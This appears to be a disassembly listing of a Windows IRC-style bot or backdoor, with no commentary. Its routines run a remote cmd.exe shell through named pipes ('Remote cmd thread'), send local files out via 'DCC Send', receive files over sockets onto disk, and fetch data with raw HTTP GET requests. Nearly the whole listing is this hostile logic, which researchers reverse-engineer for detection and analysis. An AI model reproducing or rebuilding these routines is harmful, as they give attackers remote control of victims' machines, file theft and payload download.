		mov	eax, [ebp+var_36C]
		mov	dword_41DE18, eax
		mov	eax, [ebp+var_724]
		mov	dword_41DE1C, eax
		push	[ebp+var_720]
		call	dword_4170A4	; CloseHandle
		and	[ebp+var_4], 0
		and	[ebp+var_208], 0

loc_401BAD:				; CODE XREF: sub_401981+2E9j
					; sub_401981+39Cj
		mov	eax, [ebp+var_714]
		cmp	dword ptr [eax+4], 0
		jz	short loc_401BBE
		jmp	loc_401D22
; ---------------------------------------------------------------------------

loc_401BBE:				; CODE XREF: sub_401981+236j
		and	[ebp+var_208], 0
		push	200h
		push	0
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	200h
		lea	eax, [ebp+var_204]
		push	eax
		push	dword_41DE24
		call	dword_417080	; PeekNamedPipe
		test	eax, eax
		jnz	short loc_401C17
		push	offset aCouldNotReadDa ; "Could	not read data from process."
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4018AF
		pop	ecx
		pop	ecx
		jmp	loc_401D22
; ---------------------------------------------------------------------------

loc_401C17:				; CODE XREF: sub_401981+27Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_401C6F
		mov	[ebp+var_730], 103h
		lea	eax, [ebp+var_730]
		push	eax
		push	dword_41DE1C
		call	dword_417084	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_401C62
		cmp	[ebp+var_730], 103h
		jz	short loc_401C62
		push	offset aCmd_exeProcess ; "Cmd.exe process has terminated."
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		jmp	loc_401D22
; ---------------------------------------------------------------------------

loc_401C62:				; CODE XREF: sub_401981+2BBj
					; sub_401981+2C7j
		push	0Ah
		call	dword_41709C	; Sleep
		jmp	loc_401BAD
; ---------------------------------------------------------------------------

loc_401C6F:				; CODE XREF: sub_401981+29Aj
		and	[ebp+var_72C], 0
		jmp	short loc_401C85
; ---------------------------------------------------------------------------

loc_401C78:				; CODE XREF: sub_401981:loc_401CAFj
		mov	eax, [ebp+var_72C]
		inc	eax
		mov	[ebp+var_72C], eax

loc_401C85:				; CODE XREF: sub_401981+2F5j
		mov	eax, [ebp+var_72C]
		cmp	eax, [ebp+var_4]
		jnb	short loc_401CB1
		mov	eax, [ebp+var_72C]
		movsx	eax, [ebp+eax+var_204]
		cmp	eax, 0Ah
		jnz	short loc_401CAF
		mov	[ebp+var_208], 1
		jmp	short loc_401CB1
; ---------------------------------------------------------------------------

loc_401CAF:				; CODE XREF: sub_401981+320j
		jmp	short loc_401C78
; ---------------------------------------------------------------------------

loc_401CB1:				; CODE XREF: sub_401981+30Dj
					; sub_401981+32Cj
		cmp	[ebp+var_208], 0
		jz	short loc_401CC6
		mov	eax, [ebp+var_72C]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_401CCD
; ---------------------------------------------------------------------------

loc_401CC6:				; CODE XREF: sub_401981+337j
		mov	[ebp+var_4], 200h

loc_401CCD:				; CODE XREF: sub_401981+343j
		push	200h
		push	0
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		lea	eax, [ebp+var_31C]
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_204]
		push	eax
		push	dword_41DE24
		call	dword_417088	; ReadFile
		test	eax, eax
		jnz	short loc_401D08
		jmp	short loc_401D22
; ---------------------------------------------------------------------------

loc_401D08:				; CODE XREF: sub_401981+383j
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4018AF
		pop	ecx
		pop	ecx
		jmp	loc_401BAD
; ---------------------------------------------------------------------------

loc_401D22:				; CODE XREF: sub_401981+238j
					; sub_401981+291j ...
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_401D35:				; CODE XREF: sub_401981+67j
					; sub_401981+BBj ...
		leave
		retn	4
sub_401981	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D39	proc near		; CODE XREF: sub_401D6E+AFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	dword_41DE20
		call	dword_417068	; WriteFile
		test	eax, eax
		jnz	short loc_401D69
		xor	eax, eax
		jmp	short locret_401D6C
; ---------------------------------------------------------------------------

loc_401D69:				; CODE XREF: sub_401D39+2Aj
		push	1
		pop	eax

locret_401D6C:				; CODE XREF: sub_401D39+2Ej
		leave
		retn
sub_401D39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D6E	proc near		; CODE XREF: sub_40A9CF+14A0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+198h]
		test	eax, eax
		jz	short loc_401DA6
		cmp	[ebp+arg_4], 0
		jnz	short loc_401D8B
		jmp	locret_401E36
; ---------------------------------------------------------------------------

loc_401D8B:				; CODE XREF: sub_401D6E+16j
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		jmp	locret_401E36
; ---------------------------------------------------------------------------

loc_401DA6:				; CODE XREF: sub_401D6E+10j
		push	3A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_401DBC
		jmp	short locret_401E36
; ---------------------------------------------------------------------------

loc_401DBC:				; CODE XREF: sub_401D6E+4Aj
		cmp	[ebp+arg_4], 0
		jz	short loc_401DD9
		push	200h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch

loc_401DD9:				; CODE XREF: sub_401D6E+52j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 204h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aRemoteCmdThrea ; "Remote cmd thread"
		push	1
		push	[ebp+var_4]
		push	offset sub_401981
		call	sub_4095A4
		add	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_401E0B
		jmp	short locret_401E36
; ---------------------------------------------------------------------------

loc_401E0B:				; CODE XREF: sub_401D6E+99j
		push	offset asc_418214 ; "\r\n"
		push	[ebp+arg_4]
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		call	sub_401D39
		pop	ecx
		test	eax, eax
		jnz	short locret_401E36
		push	offset aErrorWhileExec ; "Error	while executing	command."
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx

locret_401E36:				; CODE XREF: sub_401D6E+18j
					; sub_401D6E+33j ...
		leave
		retn
sub_401D6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E38	proc near		; DATA XREF: sub_4024F3+10Bo

var_614		= qword	ptr -614h
var_60C		= qword	ptr -60Ch
var_604		= dword	ptr -604h
var_600		= dword	ptr -600h
var_5FC		= dword	ptr -5FCh
var_5F8		= dword	ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= dword	ptr -5F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= dword	ptr -5E8h
var_5E4		= dword	ptr -5E4h
var_5E0		= dword	ptr -5E0h
var_5DC		= byte ptr -5DCh
var_5BB		= byte ptr -5BBh
var_4B7		= byte ptr -4B7h
var_3B7		= byte ptr -3B7h
var_3AD		= byte ptr -3ADh
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 604h
		push	3D6h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5E0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_5BB]
		push	eax
		call	dword_4170AC	; DeleteFileA
		push	offset dword_4182AC
		lea	eax, [ebp+var_5BB]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_5E4], eax
		cmp	[ebp+var_5E4], 0
		jnz	short loc_401EA3
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4020BE
; ---------------------------------------------------------------------------

loc_401EA3:				; CODE XREF: sub_401E38+56j
		push	2710h
		push	0
		lea	eax, [ebp+var_3B7]
		push	eax
		lea	eax, [ebp+var_4B7]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_208], eax
		cmp	[ebp+var_208], 0
		jnz	short loc_401EEE
		push	[ebp+var_5E4]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4020BE
; ---------------------------------------------------------------------------

loc_401EEE:				; CODE XREF: sub_401E38+95j
		lea	eax, [ebp+var_5DC]
		push	eax
		lea	eax, [ebp+var_5BB]
		push	eax
		mov	eax, [ebp+var_5E0]
		push	dword ptr [eax]
		push	offset dword_418280
		lea	eax, [ebp+var_3AD]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		call	sub_416B64	; clock
		mov	[ebp+var_5E8], eax
		and	[ebp+var_204], 0

loc_401F2A:				; CODE XREF: sub_401E38:loc_401FD8j
		push	0
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+var_208]
		call	dword_417248	; recv
		mov	[ebp+var_5F0], eax
		cmp	[ebp+var_5F0], 0
		jz	short loc_401F5F
		cmp	[ebp+var_5F0], 200h
		jbe	short loc_401F61

loc_401F5F:				; CODE XREF: sub_401E38+119j
		jmp	short loc_401FDD
; ---------------------------------------------------------------------------

loc_401F61:				; CODE XREF: sub_401E38+125j
		mov	eax, [ebp+var_204]
		add	eax, [ebp+var_5F0]
		mov	[ebp+var_204], eax
		push	[ebp+var_204]
		call	dword_41724C	; htonl
		mov	[ebp+var_5F4], eax
		push	4
		lea	eax, [ebp+var_5F4]
		push	eax
		push	[ebp+var_208]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5E4]
		push	[ebp+var_5F0]
		push	1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B7C	; fwrite
		add	esp, 10h
		cmp	[ebp+var_5F0], 200h
		jnb	short loc_401FC7
		jmp	short loc_401FDD
; ---------------------------------------------------------------------------

loc_401FC7:				; CODE XREF: sub_401E38+18Bj
		mov	eax, [ebp+var_5E0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_401FD8
		jmp	loc_4020BC
; ---------------------------------------------------------------------------

loc_401FD8:				; CODE XREF: sub_401E38+199j
		jmp	loc_401F2A
; ---------------------------------------------------------------------------

loc_401FDD:				; CODE XREF: sub_401E38:loc_401F5Fj
					; sub_401E38+18Dj
		push	[ebp+var_5E4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_5EC], eax
		call	sub_416B64	; clock
		cmp	[ebp+var_5E8], eax
		jnz	short loc_402008
		call	sub_416B64	; clock
		dec	eax
		mov	[ebp+var_5E8], eax

loc_402008:				; CODE XREF: sub_401E38+1C2j
		mov	eax, [ebp+var_5EC]
		cdq
		mov	ecx, 400h
		idiv	ecx
		mov	[ebp+var_5F8], eax
		fild	[ebp+var_5F8]
		fstp	[ebp+var_5FC]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_5E8]
		mov	[ebp+var_600], eax
		fild	[ebp+var_600]
		fdiv	flt_417270
		fdivr	[ebp+var_5FC]
		push	ecx
		push	ecx
		fstp	[esp+60Ch+var_60C]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_5E8]
		mov	[ebp+var_604], eax
		fild	[ebp+var_604]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+614h+var_614]
		lea	eax, [ebp+var_5DC]
		push	eax
		lea	eax, [ebp+var_5BB]
		push	eax
		push	offset dword_418234
		lea	eax, [ebp+var_3AD]
		push	eax
		call	sub_40D53F
		add	esp, 20h

loc_402094:				; CODE XREF: sub_401E38:loc_4020BCj
		push	[ebp+var_5E4]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_208]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_4020BE
; ---------------------------------------------------------------------------

loc_4020BC:				; CODE XREF: sub_401E38+19Bj
		jmp	short loc_402094
; ---------------------------------------------------------------------------

locret_4020BE:				; CODE XREF: sub_401E38+66j
					; sub_401E38+B1j ...
		leave
		retn	4
sub_401E38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020C2	proc near		; DATA XREF: sub_40260D+7Co

var_A2C		= qword	ptr -0A2Ch
var_A24		= qword	ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= byte ptr -0A04h
var_9FC		= dword	ptr -9FCh
var_9F8		= dword	ptr -9F8h
var_9F4		= dword	ptr -9F4h
var_9F0		= byte ptr -9F0h
var_8EC		= dword	ptr -8ECh
var_8E8		= dword	ptr -8E8h
var_8E4		= dword	ptr -8E4h
var_8E0		= byte ptr -8E0h
var_8BF		= byte ptr -8BFh
var_8BE		= byte ptr -8BEh
var_7BB		= byte ptr -7BBh
var_618		= dword	ptr -618h
var_614		= byte ptr -614h
var_210		= byte ptr -210h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A1Ch
		push	2CCh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_8E4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_8BF]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_9F8], eax
		jmp	short loc_40210D
; ---------------------------------------------------------------------------

loc_402100:				; CODE XREF: sub_4020C2:loc_40215Ej
		mov	eax, [ebp+var_9F8]
		dec	eax
		mov	[ebp+var_9F8], eax

loc_40210D:				; CODE XREF: sub_4020C2+3Cj
		cmp	[ebp+var_9F8], 0
		jnz	short loc_40212D
		lea	eax, [ebp+var_8BF]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_402160
; ---------------------------------------------------------------------------

loc_40212D:				; CODE XREF: sub_4020C2+52j
		mov	eax, [ebp+var_9F8]
		movsx	eax, [ebp+eax+var_8BF]
		cmp	eax, 5Ch
		jnz	short loc_40215E
		mov	eax, [ebp+var_9F8]
		lea	eax, [ebp+eax+var_8BE]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_402160
; ---------------------------------------------------------------------------

loc_40215E:				; CODE XREF: sub_4020C2+7Cj
		jmp	short loc_402100
; ---------------------------------------------------------------------------

loc_402160:				; CODE XREF: sub_4020C2+69j
					; sub_4020C2+9Aj
		mov	[ebp+var_8E8], 10h
		lea	eax, [ebp+var_8E8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40CF25
		push	eax
		call	dword_417240	; getsockname
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_614]
		push	eax
		push	[ebp+var_8E8]
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_41DE88	; getnameinfo
		test	eax, eax
		jz	short loc_4021BA
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------

loc_4021BA:				; CODE XREF: sub_4020C2+E3j
		push	0Ah
		lea	eax, [ebp+var_A04]
		push	eax
		push	1388h
		push	400h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		lea	eax, [ebp+var_A04]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_9FC], eax
		cmp	[ebp+var_9FC], 0
		jnz	short loc_40220F
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------

loc_40220F:				; CODE XREF: sub_4020C2+138j
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_8BF]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8EC], eax
		cmp	[ebp+var_8EC], 0
		jnz	short loc_402250
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------

loc_402250:				; CODE XREF: sub_4020C2+16Dj
		push	2
		push	0
		push	[ebp+var_8EC]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_8EC]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_A08], eax
		push	0
		push	0
		push	[ebp+var_8EC]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		lea	eax, [ebp+var_614]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset aDccSendSS ; "DCC Send %s (%s)"
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_40D420
		add	esp, 10h
		push	[ebp+var_A08]
		lea	eax, [ebp+var_A04]
		push	eax
		lea	eax, [ebp+var_614]
		push	eax
		call	dword_417244	; inet_addr
		push	eax
		call	dword_41724C	; htonl
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_418348
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_40D4AB
		add	esp, 18h
		push	0EA60h
		push	[ebp+var_9FC]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_618], eax
		cmp	[ebp+var_618], 0
		jz	short loc_40230F
		cmp	[ebp+var_618], 0FFFFFFFFh
		jnz	short loc_40233A

loc_40230F:				; CODE XREF: sub_4020C2+242j
		push	[ebp+var_8EC]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------

loc_40233A:				; CODE XREF: sub_4020C2+24Bj
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		mov	eax, [ebp+var_8E4]
		push	dword ptr [eax]
		push	offset dword_418320
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		call	sub_416B64	; clock
		mov	[ebp+var_9F4], eax

loc_40236F:				; CODE XREF: sub_4020C2:loc_40240Dj
		push	[ebp+var_8EC]
		push	200h
		push	1
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_A0C], eax
		cmp	[ebp+var_A0C], 0
		jz	short loc_4023A6
		cmp	[ebp+var_A0C], 200h
		jbe	short loc_4023A8

loc_4023A6:				; CODE XREF: sub_4020C2+2D6j
		jmp	short loc_402412
; ---------------------------------------------------------------------------

loc_4023A8:				; CODE XREF: sub_4020C2+2E2j
		push	[ebp+var_A0C]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+var_618]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4023EE
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_4182F4
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_4024ED
; ---------------------------------------------------------------------------

loc_4023EE:				; CODE XREF: sub_4020C2+303j
		cmp	[ebp+var_A0C], 200h
		jnb	short loc_4023FC
		jmp	short loc_402412
; ---------------------------------------------------------------------------

loc_4023FC:				; CODE XREF: sub_4020C2+336j
		mov	eax, [ebp+var_8E4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40240D
		jmp	loc_4024EB
; ---------------------------------------------------------------------------

loc_40240D:				; CODE XREF: sub_4020C2+344j
		jmp	loc_40236F
; ---------------------------------------------------------------------------

loc_402412:				; CODE XREF: sub_4020C2:loc_4023A6j
					; sub_4020C2+338j
		call	sub_416B64	; clock
		cmp	[ebp+var_9F4], eax
		jnz	short loc_40242B
		call	sub_416B64	; clock
		dec	eax
		mov	[ebp+var_9F4], eax

loc_40242B:				; CODE XREF: sub_4020C2+35Bj
		mov	eax, [ebp+var_A08]
		cdq
		mov	ecx, 400h
		idiv	ecx
		mov	[ebp+var_A10], eax
		fild	[ebp+var_A10]
		fstp	[ebp+var_A14]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_9F4]
		mov	[ebp+var_A18], eax
		fild	[ebp+var_A18]
		fdiv	flt_417270
		fdivr	[ebp+var_A14]
		push	ecx
		push	ecx
		fstp	[esp+0A24h+var_A24]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_9F4]
		mov	[ebp+var_A1C], eax
		fild	[ebp+var_A1C]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+0A2Ch+var_A2C]
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_4182B0
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 20h

loc_4024B7:				; CODE XREF: sub_4020C2:loc_4024EBj
					; sub_4020C2:loc_4024EDj
		push	[ebp+var_618]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_8EC]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_4024EF
; ---------------------------------------------------------------------------

loc_4024EB:				; CODE XREF: sub_4020C2+346j
		jmp	short loc_4024B7
; ---------------------------------------------------------------------------

loc_4024ED:				; CODE XREF: sub_4020C2+327j
		jmp	short loc_4024B7
; ---------------------------------------------------------------------------

locret_4024EF:				; CODE XREF: sub_4020C2+F3j
					; sub_4020C2+148j ...
		leave
		retn	4
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024F3	proc near		; CODE XREF: sub_40D871+203p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_402511
		cmp	[ebp+arg_8], 0
		jz	short loc_402511
		cmp	[ebp+arg_C], 0
		jz	short loc_402511
		cmp	[ebp+arg_10], 0
		jnz	short loc_402516

loc_402511:				; CODE XREF: sub_4024F3+Aj
					; sub_4024F3+10j ...
		jmp	locret_40260B
; ---------------------------------------------------------------------------

loc_402516:				; CODE XREF: sub_4024F3+1Cj
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_402531
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_402536

loc_402531:				; CODE XREF: sub_4024F3+33j
		jmp	locret_40260B
; ---------------------------------------------------------------------------

loc_402536:				; CODE XREF: sub_4024F3+3Cj
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_402551
		cmp	[ebp+var_8], 40000000h
		jbe	short loc_402556

loc_402551:				; CODE XREF: sub_4024F3+53j
		jmp	locret_40260B
; ---------------------------------------------------------------------------

loc_402556:				; CODE XREF: sub_4024F3+5Cj
		push	3D6h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40256F
		jmp	locret_40260B
; ---------------------------------------------------------------------------

loc_40256F:				; CODE XREF: sub_4024F3+75j
		push	21h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 25h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	100h
		push	[ebp+arg_C]
		mov	eax, [ebp+var_4]
		add	eax, 129h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	6
		push	[ebp+arg_10]
		mov	eax, [ebp+var_4]
		add	eax, 229h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		mov	[eax+22Fh], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 233h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_41837C
		push	0
		push	[ebp+var_4]
		push	offset sub_401E38
		call	sub_4095A4
		add	esp, 18h

locret_40260B:				; CODE XREF: sub_4024F3:loc_402511j
					; sub_4024F3:loc_402531j ...
		leave
		retn
sub_4024F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40260D	proc near		; CODE XREF: sub_40A9CF+98Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_40261D
		cmp	[ebp+arg_8], 0
		jnz	short loc_40261F

loc_40261D:				; CODE XREF: sub_40260D+8j
		jmp	short locret_402696
; ---------------------------------------------------------------------------

loc_40261F:				; CODE XREF: sub_40260D+Ej
		push	2CCh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_402635
		jmp	short locret_402696
; ---------------------------------------------------------------------------

loc_402635:				; CODE XREF: sub_40260D+24j
		push	21h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 25h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 129h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4183A0
		push	0
		push	[ebp+var_4]
		push	offset sub_4020C2
		call	sub_4095A4
		add	esp, 18h

locret_402696:				; CODE XREF: sub_40260D:loc_40261Dj
					; sub_40260D+26j
		leave
		retn
sub_40260D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402698	proc near		; CODE XREF: sub_402A32+5C9p

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	2710h
		push	0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_414], eax
		cmp	[ebp+var_414], 0
		jnz	short loc_4026CC
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------

loc_4026CC:				; CODE XREF: sub_402698+2Bj
		push	[ebp+arg_8]
		push	[ebp+arg_10]
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_402745
		cmp	[ebp+var_420], 0FFFFFFFFh
		jnz	short loc_402758

loc_402745:				; CODE XREF: sub_402698+A2j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------

loc_402758:				; CODE XREF: sub_402698+ABj
		push	offset asc_4183EC ; "\r\n\r\n"
